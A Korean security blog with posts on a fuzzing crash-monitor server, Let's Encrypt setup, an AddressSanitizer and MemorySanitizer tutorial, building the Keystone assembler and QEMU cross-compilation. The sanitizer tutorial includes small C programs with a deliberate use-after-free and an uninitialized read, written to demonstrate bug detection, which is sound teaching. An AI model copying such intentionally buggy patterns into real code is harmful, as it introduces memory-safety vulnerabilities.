sweetchip's blog

printf 130건이 검색되었습니다.


요즘 한창 개발중인 프로젝트 sweetmon 입니다.


sweetmon 은 제 닉네임 sweetchip 과 monitor 가 합쳐져서 그냥 퍼져와 크래시를 모니터링 한다는 의미로


재미로 만들고 있는 프로젝트 입니다.



원래 이번이 처음은 아니었고 예전 브라우저 버그헌팅시 여러 VM에서 퍼져를 돌리고 한곳으로 모을때 잠시 php 버전으로 만들었는데


너무 귀찮아서 중간에 때려쳤다가 다시 퍼징할 일이 생기기를 몇번을 반복하다 보니


그때마다 편의를 위해 계속 크래시를 한곳으로 모아주는 것을 만들어야 하는 일이 있었습니다.


이번에도 그런 일이 있어서 그냥 이참에 하나 다시 만들자라고 생각해서 같은 동아리 부원인 @shc 의 추천으로 Django 를 접하게 되었습니다.



웹 개발이라고는 PHP와 HTML로 살짝 건드려본 적 밖에 없어서 웹 개발쪽 시야가 좁았던 저에게는


장고 라고 하는 프레임워크를 다루다보니 엄청난 신세계였습니다.


PHP보다 개발이 훨씬 간단하고 코드의 양도 확실히 줄면서 재미를 붙이다보니 기능도 계속 넣게되고..


지금까지 오게 되었네요. 




이번 포스팅의 사진은 거의 모자이크밖에 없지만..


실제로 돌리고 있는 모습입니다.


웹서버(Python+Django+Apache) 에서는 Fuzzer와 Machine / Crash들의 정보를 받아와서 저장하고 뿌려주는 API를 제공해줍니다.


예를들어 server.com/fuzz/crash 는 크래시가 발생했을 경우 업로드 기능을 지원합니다.


이외에 현재 제보했던 버그 리스트를 저장할 수 있도록 간단한 메모 기능을 만들었습니다.



기능을 간단히 정리해보면..


퍼져 및 머신의 정보 출력 / 크래시 업로드 및 업로드 된 크래시 리스팅 및 정보 출력 + 1회용 다운로드 링크

Fuzzer 업로드/다운로드 기능, Testcase 업로드/다운로드 기능

리포팅한 버그들 메모 기능

새로운 크래시 텔레그램 및 이메일 알림 기능


등이 있겠네요.


상세한 기능들은 나중에 다시 정리 하는걸로 하고..


아무튼 sweetmon 을 만들게 된 계기는 윈도우에서든 리눅스에서든 맥에서든 어디서든지 어떤것을 퍼징을 하든


한곳으로 잘 모아주는 것을 원했습니다.


그래서 본인이 만든 퍼져나 AFL같은 퍼져등을 이용해도 sweetmon을 이용할 수 있도록 만드려고 노력하는 중입니다.


하지만 제가 개발 경험이 그리 많지는 않아서 쉽지만은 않네요.






서버가 있으면 클라이언트도 있어야겠죠?


클라이언트는 Python 언어를 기반으로 서버에서 제공하는 API들을 래핑하여 쉽게 사용할 수 있도록 제공할 예정입니다.


현재 목표 코드는 sweetmon.py 및 config.py 만 나눠주고 그것을 이용해서 본인의 퍼져에 맞출 수 있도록 하는 것이 목적입니다.


그냥 퍼징 프레임워크라고 보시면 됩니다.


아래 예제 코드를 보시면..


from sweetmon import *


count = 0

F = Fuzzer(fConfig)

while 1:

if count % 1000 == 0:

F.ping() # 서버에 핑 날림

log = run("windbg ... ... ./fuzzer.exe") # windbg에서 생성된 로그파일 받아옴

if CheckCrash(log) == True: # CheckCrash 는 로그에서 크래시가 발생했는지 여부를 체크해주는 함수

F.upload("0023:41414141=????????", "./testcase1234.log", "./testcase1234.file") # 서버에 Title 과 크래시 로그 업로드.

count += 1




위는 제가 대략 생각하고 있는 것인데..


만약 직접 만든 Fuzzer든 AFL같은 퍼져를 이용하든 로그파일을 분석하는건 모든 퍼져마다 다른건 당연하니


퍼져 돌리는 함수 / 크래시인지 아닌지 판별하는 함수등은 각각 알아서 제작 하도록 합니다.


클라이언트에서 제공해 주는 것은 핑 날리기 / 파일 업로드 (Title, 크래시 로그, 크래시파일) 등 서버와 통신에 필요한 기능만 제공합니다.


그래서 어느 운영체제에서든 python만 지원되는 환경일때 각 퍼져에 맞게 간단한 코딩만 해주면 퍼져 및 크래시를 서버에서 모니터링을 할수 있게 됩니다.




추후엔 암호화 기능도 넣고 여러 유저가 크래시를 공유하는 기능도 만들고 지금 있는 버그도 고치고 여러가지 할게 많네요.


제가 주로 쓸 용도로 만드는 것이긴 하지만 오픈소스로 공개할 예정도 있습니다. (물론 쓸 사람이 있을진 모르겠지만요.. ㅠ)


하지만 언제가 될진 모르겠네요 ㅋㅋ


시험기간에 심심해서(!?) 오랜만에 적어봤습니다.

저작자 표시 비영리 변경 금지
신고

Comment 4

  • BBB
    2017.04.23 17:50 신고 수정 답글

    혹시 프론트엔드부분은 어떻게 만드셨는지 물어볼수있을까요 ?

    • 2017.04.24 03:52 신고 수정

      프론트엔드 역시 Django에서 뿌려주도록 만들었습니다. (P.S 테마는 Dashgum Free 테마를 이용했습니다)

  • BBB
    2017.04.24 16:46 신고 수정 답글

    감사합니다 ~ 테마가 괜찮아서 물어봤어요 ~

  • 2017.05.15 17:28 수정 답글

    비밀댓글입니다

1월 포스팅을 하면서 올해는 정보공유좀 해야지 하고 다짐[?] 했던 것이 생각나서 처음으로 깃헙을 업데이트 했습니다.


이번에 공개한건.. 작년 6월쯤에 애플에 제보했던 Rootless bypass 취약점과 2015년 Codegate 에서 출제한 두가지 문제(Bookstore, Bookstore2)의 소스코드를 공유했습니다.


SSG CTF를 준비하면서 CTF문제를 처음 출제하는 친구들에게만 공유 하려다가 그냥 묵혀두면 뭐하나 해서 전체 공유를 하기로 했습니다.


앞으로 취약점레포에는 올릴수 있는 취약점의 POC코드를 공개할 예정이고.. (가능하려나...)


그리고 예전에 출제한 다른 CTF들의 문제도 공개할 예정입니더.


https://github.com/sweetchipsw

저작자 표시 비영리 변경 금지
신고

댓글 0

얼마전에 SSL 인증서를 사용해야 할 일이 있어서 정보를 찾던 중 letsencrypt 라는 것이 있다고 한다.


자세한 정보는 아래 링크에서 확인 하자.


https://letsencrypt.org/


설치는 우분투 기준으로 apt 로 가능하다.


apt install letsencrypt


하면 설치가 끝난 것이고


sudo letsencrypt certonly -a standalone -d domain.com


를 입력하면 인증서가 만들어진다.


self-signed가 아니라서 빨간 자물쇠도 아니다!


*참고로 80번 포트를 사용하므로 웹서버등의 80번 포트를 사용하는 프로그램은 잠시 닫아줘야 한다.


IMPORTANT NOTES:

 - Congratulations! Your certificate and chain have been saved at

   /etc/letsencrypt/live/domain.com/fullchain.pem. Your

   cert will expire on 2017-mm-dd. To obtain a new version of the

   certificate in the future, simply run Let's Encrypt again.

 - If you like Let's Encrypt, please consider supporting our work by:


   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate

   Donating to EFF:                    https://eff.org/donate-le


위와같이 안내가 나오고 후원등의 정보가 나온다.

$ sudo ls /etc/letsencrypt/live/domain/

cert.pem  chain.pem  fullchain.pem  privkey.pem



아파치 설정의 SSL 설정은 아래와 같이 하자

                SSLCertificateFile      /etc/letsencrypt/live/domain.com/cert.pem

                SSLCertificateKeyFile /etc/letsencrypt/live/domain.com/privkey.pem

                SSLCertificateChainFile /etc/letsencrypt/live/domain.com/chain.pem


인증서 기간이 90일로 짧은 편이긴 한데 명령어 몇개로 간단하게 갱신이 가능하다고 한다.


무료에 crontab 등으로 일정 기간마다 갱신하게 하면 편할 것 같다.


원래 startssl을 이용하기도 했었는데 이건 명령어 몇개만 입력하면 인증서가 만들어져서 훨씬 편하다!


참고로 갱신하는 명령어는 아래 명령어로 끝난다.


[root@localhost ~]$ service apache2 stop

[root@localhost ~]$ letsencrypt renew


SSL 인증서 설정을 위와 같이 live 디렉터리에 했다면 심볼릭링크로 새로운 인증서로 자동으로 연결되므로 경로를 바꾸거나 하지 않아도 좋다.



저작자 표시 비영리 변경 금지
신고

댓글 0

iPhone 7 Plus | 1/15sec | F/1.8 | 0.00 EV | 4.0mm | ISO-50

(사진은 학교 주변 카페의 멍뭉이)



역시나 오~랜만에 블로그 포스팅


기말고사도 끝나고 회사에서 하는 강의도 끝나고..


올해 해야 할 일은 다 끝난 것 같다.


이제 남은건 연말약속들?



아무튼 기록으로 남겨두기 위해서 글을 작성해본다.



우선.. 2주전부터 천천히 블로그 개편을 하고 있다.


예전부터 고민 해온 것이지만 슬슬 블로그가 잡탕이 되는 것 같아서 예전 맨 처음 올렸던 별 의미 없는 블로그 포스팅들은 모두 삭제하고 있고


15년부터 올리기 시작했던 여행기는 전부다 새로운 블로그로 옮겼다. (여행기 블로그)


가끔씩 사람들을 만나면서 블로그 이야기가 나오는데 여행기가 많다는 이야기가 있어서 원래 목적인 보안블로그의 성격이 조금 약해지는 것 같다.



그래서 아예 블로그를 2개로 나누기로 했고 (보안블로그 / 여행블로그) 예전 의미없는 포스팅 (공유기 세팅 등)들은 모두 삭제하거나 숨김 처리를 하기로 했다.


가끔씩 애드센스 수익으로 조금씩 들어오던것이 줄어들긴 하겠지만 좀더 좋은 블로그로 만들기 위해서 결정했다.



또 여행 블로그를 새로 만들게 된 이유는 보안 말고도 나는 여행을 정말 좋아하는 편이어서 앞으로도 다니게 될 일이 많을 것 같아 새로 만들기로 했다.



새로운 여행 블로그의 주소는 http://travel.sweetchip.kr/ 이다.


이제 막 시작한 블로그라서 방문자 수도 별로 없고 유입도 적지만 앞으로 몇십년동안 여행을 다니면서 컨텐츠를 쌓으면 자연스럽게 방문자수도 많아질 것이다.


아무튼. 목표는 올해 12월 31일까지 컨텐츠 개편을 완료로 17년부턴 지금까지 공부하고 연구했던 자료들을 좀 더 많이 오픈 할 예정이다.





저작자 표시 비영리 변경 금지
신고

댓글 0


매번 윈도우를 설치할때마다 이 문제가 있었는데


이 문제의 경우 https://support.microsoft.com/ko-kr/kb/3102810 의 패치를 적용시키니 문제가 해결할 수 있었다.


위 링크에 들어가서 적절한 윈도우 버전에 대한 패치를 다운받아서 업데이트를 실행하기 전에 먼저 설치하고 업데이트를 진행하면


5분 이내로 목록을 받아오는 것을 볼 수 있다.



아래 패치 파일은 한국어 기준입니다. (다른 언어가 설치해도 크게 문제는 없을 것으로 보이네요)


위 링크 가서 받으셔도 좋고 여기서 받아도 좋습니다.


32비트는 x86, 64비트는 x64를 받아주세요.


Windows6.1-KB3102810-x64.msu


Windows6.1-KB3102810-x86.msu






아래는 위 링크에서 가져온 내용.

============================================================


문제점

 - Windows 7 및 Windows Server 2008 R2에서 업데이트 설치 및 검색이 느려지고 높은 CPU 점유율을 나타냄 


이 업데이트에서 해결된 문제

- 시스템 센터 구성 관리자를 사용하여 업데이트를 설치할 때, 설치 시간이 오래 걸리고, 시스템 센터 구성 관리자가 오버 로드 됩니다.

- Windows Update 클라이언트를 Windows 10으로 업그레이드할 때 Svchost.exe 프로세스의 CPU 사용률이 100%를 차지합니다. 




저작자 표시 비영리 변경 금지
신고

댓글 0

ASAN - AddressSanitizer




https://github.com/google/sanitizers/wiki/AddressSanitizer


구글의 깃허브에 정의된 ASAN 은 c/c++로 제작된 프로그램에서 버그를 디텍션 해주는 툴 이라고 보면 된다.


따로 설치해서 해야 하는건 없고 컴파일러 Clang 을 설치한뒤 컴파일 할때 -fsanitize=address 옵션만 붙여주도록 하자.


맨 위의 사진은 ASAN을 적용해서 디텍션할 수 있는 버그들의 목록이다.


Sanitizer 시리즈로는 아래와 같은 것들이 있다.


AddressSanitizer (detects addressability issues) - https://github.com/google/sanitizers/wiki/AddressSanitizer

LeakSanitizer (detects memory leaks) - https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizer

ThreadSanitizer (detects data races and deadlocks) for C++ and Go - https://github.com/google/sanitizers/wiki/ThreadSanitizerCppManual

MemorySanitizer (detects use of uninitialized memory) - https://github.com/google/sanitizers/wiki/MemorySanitizer


사용법은 위 링크에 모두 나와있으니 ASAN과 MSAN만 사용해보도록 하자.


우선 위 기능을 사용하기 위해서 Clang을 설치한다.


sudo apt install clang


*참고 - 기준은 ubuntu 16.04 server *bit LTS 버전이다.


#include <stdlib.h>

// clang -fsanitize=address -O1 -fno-omit-frame-pointer uaf.c -o uaf

int main() {

  char *x = (char*)malloc(10 * sizeof(char*));

  free(x);

  return x[5];

}



위의 예제 코드를 보면 malloc으로 메모리를 할당하고 바로 Free시킨다. 그 이후 Free된 메모리 x를 접근하는데 이는 Free된 메모리를 재 사용하는


Use-After-Free라고 볼 수 있다.


이를 2번째 줄에 있는 커맨드로 컴파일 해보자.


이때 -fsanitize=address 는 ASAN을 사용하겠다는 것이고, -O1은 최적화 (옵션, 아래 페이지에 있어서 그냥 붙임.)


-fno-omit-frame-pointer는 더 좋은 스택트레이스 결과를 보기위해 붙이라고 한다.


각각의 옵션에 대한 정보는 https://github.com/google/sanitizers/wiki/AddressSanitizer#using-addresssanitizer 을 참고하도록 하자.


[sweetchip@ubuntu sanitizer]$ clang -fsanitize=address -O1 -fno-omit-frame-pointer uaf.c -o uaf

[sweetchip@ubuntu sanitizer]$ ./uaf 

=================================================================

==10400==ERROR: AddressSanitizer: heap-use-after-free on address 0x60700000dfb5 at pc 0x0000004e9bbe bp 0x7ffd5c55f6f0 sp 0x7ffd5c55f6e8

READ of size 1 at 0x60700000dfb5 thread T0

    #0 0x4e9bbd  (/home/sweetchip/sanitizer/uaf+0x4e9bbd)

    #1 0x7f031f59582f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

    #2 0x418518  (/home/sweetchip/sanitizer/uaf+0x418518)


0x60700000dfb5 is located 5 bytes inside of 80-byte region [0x60700000dfb0,0x60700000e000)

freed by thread T0 here:

    #0 0x4b84c0  (/home/sweetchip/sanitizer/uaf+0x4b84c0)

    #1 0x4e9b8a  (/home/sweetchip/sanitizer/uaf+0x4e9b8a)

    #2 0x7f031f59582f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)


previously allocated by thread T0 here:

    #0 0x4b8648  (/home/sweetchip/sanitizer/uaf+0x4b8648)

    #1 0x4e9b7f  (/home/sweetchip/sanitizer/uaf+0x4e9b7f)

    #2 0x7f031f59582f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)


SUMMARY: AddressSanitizer: heap-use-after-free (/home/sweetchip/sanitizer/uaf+0x4e9bbd) 

Shadow bytes around the buggy address:

  0x0c0e7fff9ba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c0e7fff9bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c0e7fff9bc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c0e7fff9bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c0e7fff9be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

=>0x0c0e7fff9bf0: fa fa fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd

  0x0c0e7fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c0e7fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c0e7fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c0e7fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c0e7fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00

  Partially addressable: 01 02 03 04 05 06 07 

  Heap left redzone:       fa

  Heap right redzone:      fb

  Freed heap region:       fd

  Stack left redzone:      f1

  Stack mid redzone:       f2

  Stack right redzone:     f3

  Stack partial redzone:   f4

  Stack after return:      f5

  Stack use after scope:   f8

  Global redzone:          f9

  Global init order:       f6

  Poisoned by user:        f7

  Container overflow:      fc

  Array cookie:            ac

  Intra object redzone:    bb

  ASan internal:           fe

  Left alloca redzone:     ca

  Right alloca redzone:    cb

==10400==ABORTING



그리고 위처럼 디버그 정보가 쭉 출력되고 스택트레이스 정보가 출력된다.





이번엔 MSAN을 사용해보자.


Asan처럼 그냥 옵션만 추가해주면 사용할 수 있기 떄문에 우선 Clang을 설치한 상태여야 한다.


[sweetchip@ubuntu sanitizer]$ cat umr.cc 

#include <stdio.h>

//clang -fsanitize=memory -fPIE -pie -fno-omit-frame-pointer -g -O2 umr.cc -o umr -fsanitize-memory-track-origins

int main(int argc, char** argv) {

  int a[10];

  a[5] = 0;

  if (a[argc])

    printf("xx\n");

  return 0;

}


이때 -fsanitize=memory 는 MSan을 사용하겠다는 것이고, -fPie -pie는 예제에 붙어있길래 같이 붙였다. 안붙여도 결과만 보는데는 크게 문제가 없는듯 하다.


-fsanitize-memory-track-origins 는 어느 함수에서 메모리를 할당시켰는지 추적할 수 있는 기능이다. 


-fno-omit-frame-pointer 는 ASAN과 같이 스택 트레이서 기능이다.



위 예제 코드를 보면 a배열을 초기화하지 않은 것에 문제가 발생한다.


이 경우 a[argc]로 접근하게 될 경우 여러 문제가 발생할 수 있다.


[sweetchip@ubuntu sanitizer]$ ./umr 5

==10456==WARNING: MemorySanitizer: use-of-uninitialized-value

    #0 0x563e3030d568  (/home/sweetchip/sanitizer/umr+0x87568)

    #1 0x7fd85136082f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

    #2 0x563e3029ff88  (/home/sweetchip/sanitizer/umr+0x19f88)


  Uninitialized value was created by an allocation of 'a' in the stack frame of function 'main'

    #0 0x563e3030d430  (/home/sweetchip/sanitizer/umr+0x87430)


SUMMARY: MemorySanitizer: use-of-uninitialized-value (/home/sweetchip/sanitizer/umr+0x87568) 

Exiting


[sweetchip@ubuntu sanitizer]$ ./umr 100

==10457==WARNING: MemorySanitizer: use-of-uninitialized-value

    #0 0x56272224f568  (/home/sweetchip/sanitizer/umr+0x87568)

    #1 0x7f0f5626782f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

    #2 0x5627221e1f88  (/home/sweetchip/sanitizer/umr+0x19f88)


  Uninitialized value was created by an allocation of 'a' in the stack frame of function 'main'

    #0 0x56272224f430  (/home/sweetchip/sanitizer/umr+0x87430)


SUMMARY: MemorySanitizer: use-of-uninitialized-value (/home/sweetchip/sanitizer/umr+0x87568) 

Exiting



MSan 은 위처럼 결과가 나온다.


잘만 사용하면 써먹을 곳이 꽤나 많을듯 하다.

저작자 표시 비영리 변경 금지
신고

Comment 3

  • 세종대 컴공
    2016.06.29 05:23 신고 수정 답글

    얼마전 세종대 ssg 동아리 세미나에서 발표하신거 잘들었습니다. 좋은주제로 재밌는 발표해주셔서 감사해요 그냥 돌아다니다가 우연히 낯익은 닉네임을 발견해서 들어와보니 맞았네요ㅎㅎ 다음에도 좋은주제 기대하겠습니다 참고로 저는 그때 외부인으로 참석하였었습니다.

  • 2016.07.17 22:32 수정 답글

    비밀댓글입니다

오호..


엄청난 툴이 나왔습니다..!!


@keystone-engine


최근에 멀티 아키텍쳐를 지원하는 opcode generator 를 만들고 있었는데 버그를 만나서 때려쳤는데 얼마 지나지 않아 Keystone 이라고 하는 어셈블러가 나왔네요.


오예


프로젝트의 주소는 https://github.com/keystone-engine/keystone 에서 받고 빌드하실 수 있습니다...!!


공식 홈페이지의 주소는 http://www.keystone-engine.org/ 입니다.


깃에 써있는것을 보면..


Keystone is a lightweight multi-platform, multi-architecture assembler framework. It offers some unparalleled features:

  • Multi-architecture, with support for Arm, Arm64 (AArch64/Armv8), Hexagon, Mips, PowerPC, Sparc, SystemZ & X86 (include 16/32/64bit).
  • Clean/simple/lightweight/intuitive architecture-neutral API.
  • Implemented in C/C++ languages, with bindings for Python, NodeJS, Ruby, Go, Rust & Haskell available.
  • Native support for Windows & *nix (with Mac OSX, Linux, *BSD & Solaris confirmed).
  • Thread-safe by design.
  • Open source - with a dual license.

Keystone is based on LLVM, but it goes much further with a lot more to offer.

Further information is available at http://www.keystone-engine.org



이렇게 써있군요.


오픈소스에 멀티아키텍쳐 및 다양한 언어 지원!! 얼른 써봅시다


Git clone 으로 서버에 받고 나서 빌드 스크립트를 실행하기 전에 아래 Dependency 를 해결해줍시다.


sudo apt-get install cmake


그 이후 keystone의 루트 디렉터리에 build 라는 폴더를 만들고 이동합니다.


그리고 ../make-share.sh 스크립트를 실행해주면 알아서 make를 날려줍니다.


[sweetchip@ubuntu keystone]$ mkdir build

[sweetchip@ubuntu keystone]$ cd build/

[sweetchip@ubuntu build]$ l

[sweetchip@ubuntu build]$ ../make-share.sh 

+ [ -n  ]

+ cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=ON -DLLVM_TARGETS_TO_BUILD=all -G Unix Makefiles ..

-- The C compiler identification is GNU 5.3.1

-- The CXX compiler identification is GNU 5.3.1

-- Check for working C compiler: /usr/bin/cc

-- Check for working C compiler: /usr/bin/cc -- works

-- Detecting C compiler ABI info

-- Detecting C compiler ABI info - done

-- Detecting C compile features

-- Detecting C compile features - done

-- Check for working CXX compiler: /usr/bin/c++

-- Check for working CXX compiler: /usr/bin/c++ -- works

-- Detecting CXX compiler ABI info

-- Detecting CXX compiler ABI info - done

-- Detecting CXX compile features

-- Detecting CXX compile features - done

-- The ASM compiler identification is GNU

....

[ 98%] Linking CXX shared library ../lib/libkeystone.so

[ 98%] Built target keystone

Scanning dependencies of target kstool

[ 99%] Building CXX object kstool/CMakeFiles/kstool.dir/kstool.cpp.o

[100%] Linking CXX executable kstool

[100%] Built target kstool



make가 끝났으면 make install로 마무리 해줍니다.


[sweetchip@ubuntu build]$ sudo make install

[ 98%] Built target keystone

[100%] Built target kstool

Install the project...

-- Install configuration: "Release"

-- Installing: /usr/local/lib/pkgconfig/keystone.pc

-- Installing: /usr/local/include/keystone

-- Installing: /usr/local/include/keystone/x86.h

-- Installing: /usr/local/include/keystone/systemz.h

-- Installing: /usr/local/include/keystone/hexagon.h

-- Installing: /usr/local/include/keystone/sparc.h

-- Installing: /usr/local/include/keystone/arm64.h

-- Installing: /usr/local/include/keystone/ppc.h

-- Installing: /usr/local/include/keystone/mips.h

-- Installing: /usr/local/include/keystone/keystone.h

-- Installing: /usr/local/include/keystone/arm.h

-- Installing: /usr/local/lib/libkeystone.so.0

-- Installing: /usr/local/lib/libkeystone.so

-- Installing: /usr/local/bin/kstool

-- Set runtime path of "/usr/local/bin/kstool" to ""



자 이러면 설치 끝!


매우 쉽죠?


간단하게 사용해봅시다.


우선 커맨드라인으로 빠르게 보고싶다면..


[sweetchip@ubuntu build]$ kstool x32 "nop"

nop = [ 90 ]

[sweetchip@ubuntu build]$ kstool x32 "add eax, ebx"

add eax, ebx = [ 01 d8 ]

[sweetchip@ubuntu build]$ kstool arm "mov r1, r1"

mov r1, r1 = [ 01 10 a0 e1 ]



오홍.. 역시 기대한 대로 잘 나오는군요


Kstool v1.0 for Keystone Assembler Engine (www.keystone-engine.org)

By Nguyen Anh Quynh, 2016


Syntax: kstool <arch+mode> <assembly-string> or cat <asmfile> | kstool <arch+mode> 


The following <arch+mode> options are supported:

        x16:       X86 16bit, Intel syntax

        x32:       X86 32bit, Intel syntax

        x64:       X86 64bit, Intel syntax

        x16att:    X86 16bit, AT&T syntax

        x32att:    X86 32bit, AT&T syntax

        x64att:    X86 64bit, AT&T syntax

        x16nasm:   X86 16bit, NASM syntax

        x32nasm:   X86 32bit, NASM syntax

        x64nasm:   X86 64bit, NASM syntax

        arm:       ARM - little endian

        armbe:     ARM - big endian

        thumb:     Thumb - little endian

        thumbbe:   Thumb - big endian

        arm64:     AArch64

        hexagon:   Hexagon

        mips:      Mips - little endian

        mipsbe:    Mips - big endian

        mips64:    Mips64 - little endian

        mips64be:  Mips64 - big endian

        ppc32be:   PowerPC32 - big endian

        ppc64:     PowerPC64 - little endian

        ppc64be:   PowerPC64 - big endian

        sparc:     Sparc - little endian

        sparcbe:   Sparc - big endian

        sparc64:   Sparc64 - little endian

        sparc64be: Sparc64 - big endian

        systemz:   SystemZ (S390x)



위는 지원하는 목록입니다.


[sweetchip@ubuntu python]$ ls

keystone  LICENSE.TXT  Makefile  MANIFEST.in  README.md  sample.py  setup.py

[sweetchip@ubuntu python]$ sudo python setup.py install

running install

running build

running build_py

creating build

...


만약 python에서도 사용하고 싶다면 keystone/bindings/python/ 로 이동후에 설치해줍니다!


[sweetchip@ubuntu python]$ python sample.py 

add eax, ecx = [ 66 01 c8 ]

add eax, ecx = [ 01 c8 ]

add rax, rcx = [ 48 01 c8 ]

add %ecx, %eax = [ 01 c8 ]

add %rcx, %rax = [ 48 01 c8 ]

sub r1, r2, r5 = [ 05 10 42 e0 ]

sub r1, r2, r5 = [ e0 42 10 05 ]

movs r4, #0xf0 = [ f0 24 ]

movs r4, #0xf0 = [ 24 f0 ]

ldr w1, [sp, #0x8] = [ e1 0b 40 b9 ]

v23.w=vavg(v11.w,v2.w):rnd = [ d7 cb e2 1c ]

and $9, $6, $7 = [ 24 48 c7 00 ]

and $9, $6, $7 = [ 00 c7 48 24 ]

and $9, $6, $7 = [ 24 48 c7 00 ]

and $9, $6, $7 = [ 00 c7 48 24 ]

add 1, 2, 3 = [ 7c 22 1a 14 ]

add 1, 2, 3 = [ 14 1a 22 7c ]

add 1, 2, 3 = [ 7c 22 1a 14 ]

add %g1, %g2, %g3 = [ 02 40 00 86 ]

add %g1, %g2, %g3 = [ 86 00 40 02 ]

a %r0, 4095(%r15,%r1) = [ 5a 0f 1f ff ]



설치 후 sample.py를 실행시켜 제대로 작동하는지 확인하니 잘 나오네요.


이제 이걸로 뭘 할까나..




저작자 표시 비영리 변경 금지
신고

댓글 0

Ubuntu 기준으로 크로스 컴파일 하는법.


최근 여러 아키텍쳐 환경을 구성해야할 일이 있어서 메모!


1. 아래 명령어로 여러 아키텍쳐 gcc 설치 (arm, mips, ppc 등 다수 포함)

sudo apt-get install -y  gcc-multilib-arm-linux-gnueabi;sudo apt-get install -y  gcc-multilib-arm-linux-gnueabihf;sudo apt-get install -y  gcc-multilib-mips-linux-gnu;sudo apt-get install -y  gcc-multilib-mips64-linux-gnuabi64;sudo apt-get install -y  gcc-multilib-mips64el-linux-gnuabi64;sudo apt-get install -y  gcc-multilib-mipsel-linux-gnu;sudo apt-get install -y  gcc-multilib-powerpc-linux-gnu;sudo apt-get install -y  gcc-multilib-powerpc64-linux-gnu;sudo apt-get install -y  gcc-multilib-s390x-linux-gnu;sudo apt-get install -y  gcc-multilib-sparc64-linux-gnu


복사가 어렵다면 http://pastebin.com/iksPEaAH


2. 설치 이후 아래와 같이 컴파일

arm-linux-gnueabi-gcc -o test test.c -> arm

mips-linux-gnu-gcc -o test_mips test.c ->mips


결과

[sweetchip@ubuntu qemutest]$ file test

test: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=a9248b1c3ba0c940029d23e1f345d3df28f6d39b, not stripped


[sweetchip@ubuntu qemutest]$ file test_mips

test_mips: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=2e9ee6c560f47f28aa1ee329fba06e38bbb0960e, not stripped



보너스


만약 ubuntu 에서 mips나 arm 바이너리를 돌리고 싶다면 아래 명령어를 통해서 qemu를 설치한다

sudo apt-get install qemu-user-static


qemu-user-static 은 이미지를 구하지 않고도 ELF 바이너리를 돌릴수 있도록 도와주는 매우 땡큐한 툴이다.


설치 이후 가능한 목록은 아래와 같다.

[sweetchip@ubuntu qemutest]$ ls /usr/bin/qemu-

qemu-aarch64-static       qemu-m68k-static          qemu-mipsn32el-static     qemu-ppc64-static         qemu-sparc64-static

qemu-alpha-static         qemu-microblazeel-static  qemu-mipsn32-static       qemu-ppc-static           qemu-sparc-static

qemu-armeb-static         qemu-microblaze-static    qemu-mips-static          qemu-s390x-static         qemu-tilegx-static

qemu-arm-static           qemu-mips64el-static      qemu-or32-static          qemu-sh4eb-static         qemu-unicore32-static

qemu-cris-static          qemu-mips64-static        qemu-ppc64abi32-static    qemu-sh4-static           qemu-x86_64-static

qemu-i386-static          qemu-mipsel-static        qemu-ppc64le-static       qemu-sparc32plus-static

엄청나게 많은 아키텍쳐를 지원한다.


그중 아까 컴파일한 arm과 mips를 돌려보자. (사전에 gdb-multiarch 설치 필요, apt-get 으로 설치한다.)


-> qemu-arm-static -L /usr/arm-linux-gnueabi -g 31338 ./test -> GDBServer에 test 바이너리를 돌림 (gdb에서 target remote ip:31338 로 접근 가능)

[root@ubuntu qemutest]$ qemu-arm-static -L /usr/arm-linux-gnueabi -g 31338 ./test


[sweetchip@ubuntu qemutest]$ gdb-multiarch 

GNU gdb (Ubuntu 7.11-0ubuntu1) 7.11

Copyright (C) 2016 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.  Type "show copying"

and "show warranty" for details.

This GDB was configured as "x86_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word".

(gdb) target remote localhost:31338

Remote debugging using localhost:31338


....


(gdb) disas main

Dump of assembler code for function main:

   0x00010438 <+0>: push {r11, lr}

   0x0001043c <+4>: add r11, sp, #4

   0x00010440 <+8>: ldr r0, [pc, #12] ; 0x10454 <main+28>

   0x00010444 <+12>: bl 0x102e0 <printf@plt>

   0x00010448 <+16>: mov r3, #0

   0x0001044c <+20>: mov r0, r3

   0x00010450 <+24>: pop {r11, pc}

   0x00010454 <+28>: andeq r0, r1, r8, asr #9

End of assembler dump.

(gdb) 



======================================================================================

-> qemu-mips-static -L /usr/mips-linux-gnu/ ./test_mips -> mips 바이너리 실행


[root@ubuntu qemutest]$ qemu-mips-qemu-mips-static -L /usr/mips-linux-gnu/ ./test_mips

hello world



생각보다 간편한 크로스컴파일과 실행 ㅋㅋ

저작자 표시 비영리 변경 금지
신고

댓글 0





